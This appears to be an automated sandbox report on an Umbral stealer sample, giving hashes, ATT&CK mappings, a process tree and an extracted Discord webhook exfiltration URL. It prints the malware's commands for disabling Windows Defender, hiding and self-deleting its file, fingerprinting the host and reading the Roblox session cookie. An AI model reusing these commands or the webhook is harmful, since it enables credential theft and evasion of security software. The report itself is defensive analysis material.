umbral | 441d5ad14a8d62643e2fe09046f6afe5b04b045c89dc3b213fcb695d5faa0063

Analysis

max time kernel
117s
max time network
117s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
23-09-2024 04:00

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General

Target

Isolence.exe
Size

402KB
MD5

87e7cabc378978827ad35f11a7e3d311
SHA1

eebf169bc83f6809229a8e2bd7925f99c216842f
SHA256

441d5ad14a8d62643e2fe09046f6afe5b04b045c89dc3b213fcb695d5faa0063
SHA512

2893da6232254d14d8038529e636f8178ef0b2143f640e6655de9186635b545d19713c843409840f8a1807adfe9ef10c344a42d448c9d71663f988d29467f039
SSDEEP

6144:Vqg1BFe479zdJQxMh1PLm1Puu24ZmlLKSCbOymoeFKJCTownhl4K/X:Vx247OGQ3Z+WS2eVPnv4Kv

Score

10^/10

umbral credential_access defense_evasion discovery execution spyware stealer

Malware Config

Extracted

Family

umbral

https://discord.com/api/webhooks/1286981641851637780/-WMXJrqKM5C5eZN9F0Yht_JO0QIp0YbC8pbc8n9RzuyWAepl7ztN7Q5-nwguGbhQlPQA

Signatures

Detect Umbral payload 2 IoCs

resource	yara_rule
behavioral1/files/0x000c00000001226b-4.dat	family_umbral
behavioral1/memory/1728-8-0x0000000000F20000-0x0000000000F60000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2640	powershell.exe
3068	powershell.exe
1004	powershell.exe
2528	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	insolence.exe

Executes dropped EXE 1 IoCs

pid	Process
1728	insolence.exe

Loads dropped DLL 1 IoCs

pid	Process
2032	Isolence.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
9	discord.com
10	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Isolence.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1136	cmd.exe
1644	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
752	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1644	PING.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2676	powershell.exe
1728	insolence.exe
2640	powershell.exe
3068	powershell.exe
1004	powershell.exe
1508	powershell.exe
2528	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2676	powershell.exe
Token: SeDebugPrivilege	1728	insolence.exe
Token: SeIncreaseQuotaPrivilege	1984	wmic.exe
Token: SeSecurityPrivilege	1984	wmic.exe
Token: SeTakeOwnershipPrivilege	1984	wmic.exe
Token: SeLoadDriverPrivilege	1984	wmic.exe
Token: SeSystemProfilePrivilege	1984	wmic.exe
Token: SeSystemtimePrivilege	1984	wmic.exe
Token: SeProfSingleProcessPrivilege	1984	wmic.exe
Token: SeIncBasePriorityPrivilege	1984	wmic.exe
Token: SeCreatePagefilePrivilege	1984	wmic.exe
Token: SeBackupPrivilege	1984	wmic.exe
Token: SeRestorePrivilege	1984	wmic.exe
Token: SeShutdownPrivilege	1984	wmic.exe
Token: SeDebugPrivilege	1984	wmic.exe
Token: SeSystemEnvironmentPrivilege	1984	wmic.exe
Token: SeRemoteShutdownPrivilege	1984	wmic.exe
Token: SeUndockPrivilege	1984	wmic.exe
Token: SeManageVolumePrivilege	1984	wmic.exe
Token: 33	1984	wmic.exe
Token: 34	1984	wmic.exe
Token: 35	1984	wmic.exe
Token: SeIncreaseQuotaPrivilege	1984	wmic.exe
Token: SeSecurityPrivilege	1984	wmic.exe
Token: SeTakeOwnershipPrivilege	1984	wmic.exe
Token: SeLoadDriverPrivilege	1984	wmic.exe
Token: SeSystemProfilePrivilege	1984	wmic.exe
Token: SeSystemtimePrivilege	1984	wmic.exe
Token: SeProfSingleProcessPrivilege	1984	wmic.exe
Token: SeIncBasePriorityPrivilege	1984	wmic.exe
Token: SeCreatePagefilePrivilege	1984	wmic.exe
Token: SeBackupPrivilege	1984	wmic.exe
Token: SeRestorePrivilege	1984	wmic.exe
Token: SeShutdownPrivilege	1984	wmic.exe
Token: SeDebugPrivilege	1984	wmic.exe
Token: SeSystemEnvironmentPrivilege	1984	wmic.exe
Token: SeRemoteShutdownPrivilege	1984	wmic.exe
Token: SeUndockPrivilege	1984	wmic.exe
Token: SeManageVolumePrivilege	1984	wmic.exe
Token: 33	1984	wmic.exe
Token: 34	1984	wmic.exe
Token: 35	1984	wmic.exe
Token: SeDebugPrivilege	2640	powershell.exe
Token: SeDebugPrivilege	3068	powershell.exe
Token: SeDebugPrivilege	1004	powershell.exe
Token: SeDebugPrivilege	1508	powershell.exe
Token: SeIncreaseQuotaPrivilege	1916	wmic.exe
Token: SeSecurityPrivilege	1916	wmic.exe
Token: SeTakeOwnershipPrivilege	1916	wmic.exe
Token: SeLoadDriverPrivilege	1916	wmic.exe
Token: SeSystemProfilePrivilege	1916	wmic.exe
Token: SeSystemtimePrivilege	1916	wmic.exe
Token: SeProfSingleProcessPrivilege	1916	wmic.exe
Token: SeIncBasePriorityPrivilege	1916	wmic.exe
Token: SeCreatePagefilePrivilege	1916	wmic.exe
Token: SeBackupPrivilege	1916	wmic.exe
Token: SeRestorePrivilege	1916	wmic.exe
Token: SeShutdownPrivilege	1916	wmic.exe
Token: SeDebugPrivilege	1916	wmic.exe
Token: SeSystemEnvironmentPrivilege	1916	wmic.exe
Token: SeRemoteShutdownPrivilege	1916	wmic.exe
Token: SeUndockPrivilege	1916	wmic.exe
Token: SeManageVolumePrivilege	1916	wmic.exe
Token: 33	1916	wmic.exe

Suspicious use of WriteProcessMemory 47 IoCs

description	pid	Process	procid_target
PID 2032 wrote to memory of 2676	2032	Isolence.exe	30
PID 2032 wrote to memory of 2676	2032	Isolence.exe	30
PID 2032 wrote to memory of 2676	2032	Isolence.exe	30
PID 2032 wrote to memory of 2676	2032	Isolence.exe	30
PID 2032 wrote to memory of 1728	2032	Isolence.exe	32
PID 2032 wrote to memory of 1728	2032	Isolence.exe	32
PID 2032 wrote to memory of 1728	2032	Isolence.exe	32
PID 2032 wrote to memory of 1728	2032	Isolence.exe	32
PID 1728 wrote to memory of 1984	1728	insolence.exe	33
PID 1728 wrote to memory of 1984	1728	insolence.exe	33
PID 1728 wrote to memory of 1984	1728	insolence.exe	33
PID 1728 wrote to memory of 2756	1728	insolence.exe	36
PID 1728 wrote to memory of 2756	1728	insolence.exe	36
PID 1728 wrote to memory of 2756	1728	insolence.exe	36
PID 1728 wrote to memory of 2640	1728	insolence.exe	38
PID 1728 wrote to memory of 2640	1728	insolence.exe	38
PID 1728 wrote to memory of 2640	1728	insolence.exe	38
PID 1728 wrote to memory of 3068	1728	insolence.exe	40
PID 1728 wrote to memory of 3068	1728	insolence.exe	40
PID 1728 wrote to memory of 3068	1728	insolence.exe	40
PID 1728 wrote to memory of 1004	1728	insolence.exe	42
PID 1728 wrote to memory of 1004	1728	insolence.exe	42
PID 1728 wrote to memory of 1004	1728	insolence.exe	42
PID 1728 wrote to memory of 1508	1728	insolence.exe	44
PID 1728 wrote to memory of 1508	1728	insolence.exe	44
PID 1728 wrote to memory of 1508	1728	insolence.exe	44
PID 1728 wrote to memory of 1916	1728	insolence.exe	46
PID 1728 wrote to memory of 1916	1728	insolence.exe	46
PID 1728 wrote to memory of 1916	1728	insolence.exe	46
PID 1728 wrote to memory of 1204	1728	insolence.exe	48
PID 1728 wrote to memory of 1204	1728	insolence.exe	48
PID 1728 wrote to memory of 1204	1728	insolence.exe	48
PID 1728 wrote to memory of 2224	1728	insolence.exe	50
PID 1728 wrote to memory of 2224	1728	insolence.exe	50
PID 1728 wrote to memory of 2224	1728	insolence.exe	50
PID 1728 wrote to memory of 2528	1728	insolence.exe	52
PID 1728 wrote to memory of 2528	1728	insolence.exe	52
PID 1728 wrote to memory of 2528	1728	insolence.exe	52
PID 1728 wrote to memory of 752	1728	insolence.exe	54
PID 1728 wrote to memory of 752	1728	insolence.exe	54
PID 1728 wrote to memory of 752	1728	insolence.exe	54
PID 1728 wrote to memory of 1136	1728	insolence.exe	56
PID 1728 wrote to memory of 1136	1728	insolence.exe	56
PID 1728 wrote to memory of 1136	1728	insolence.exe	56
PID 1136 wrote to memory of 1644	1136	cmd.exe	58
PID 1136 wrote to memory of 1644	1136	cmd.exe	58
PID 1136 wrote to memory of 1644	1136	cmd.exe	58

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2756	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Isolence.exe
"C:\Users\Admin\AppData\Local\Temp\Isolence.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2032
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHoAZAB1ACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAHEAdABxACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAUgBlAHMAdABhAHIAdAAgAHAAYwAnACwAJwAnACwAJwBPAEsAJwAsACcARQByAHIAbwByACcAKQA8ACMAZABpAGIAIwA+AA=="
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2676
- C:\Users\Admin\AppData\Local\Temp\insolence.exe
  "C:\Users\Admin\AppData\Local\Temp\insolence.exe"
  2⤵
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1728
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1984
- - C:\Windows\system32\attrib.exe
    "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\insolence.exe"
    3⤵
    - Views/modifies file attributes
    PID:2756
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\insolence.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2640
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3068
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1004
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1508
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" os get Caption
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1916
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" computersystem get totalphysicalmemory
    3⤵
    PID:1204
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    PID:2224
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2528
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic" path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:752
- - C:\Windows\system32\cmd.exe
    "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\insolence.exe" && pause
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:1136
  - - C:\Windows\system32\PING.EXE
      ping localhost
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:1644

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\insolence.exe

Filesize
229KB

MD5
7553d23f56459f7a00e0c4d0bafaf675

SHA1
625bed675494bcba3860b57680bef8e09ba7429d

SHA256
d385a83b02ae2e7a2357a17abaa909406a88ad720faee797ad3fb11bdcc31200

SHA512
a577a2c02960b8fdb4614cf41cbde3da6e22f548e2a100885f58d763cb5c38893a21d07ebdc2046890e0cb9fcede09f7dd935d713e35ae184d679766c9ac3b41

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ZP0KY6IJ1TIDQLFM2YHF.temp

Filesize
7KB

MD5
449fc86ed3497ea972533abd0977792c

SHA1
e23053f67f2c3eb177cb88e7874ec1f5fc6a1586

SHA256
12cd3f491dadfa068d18b0af842158b50172d709b0d09deac25e61138a85b9c6

SHA512
21ce60723a76a0597933be6ffbfd9329a8d1e5070555b3ef112b20bd996551340ca85c0397f45515d7e361da02b3e2e24455398a5978fd17b54a77ee462309b5

Download Submit
memory/1728-8-0x0000000000F20000-0x0000000000F60000-memory.dmp

Filesize
256KB

Download
memory/2528-48-0x000000001B730000-0x000000001BA12000-memory.dmp

Filesize
2.9MB

Download
memory/2528-49-0x0000000001D90000-0x0000000001D98000-memory.dmp

Filesize
32KB

Download
memory/2640-13-0x000000001B820000-0x000000001BB02000-memory.dmp

Filesize
2.9MB

Download
memory/2640-14-0x0000000001E70000-0x0000000001E78000-memory.dmp

Filesize
32KB

Download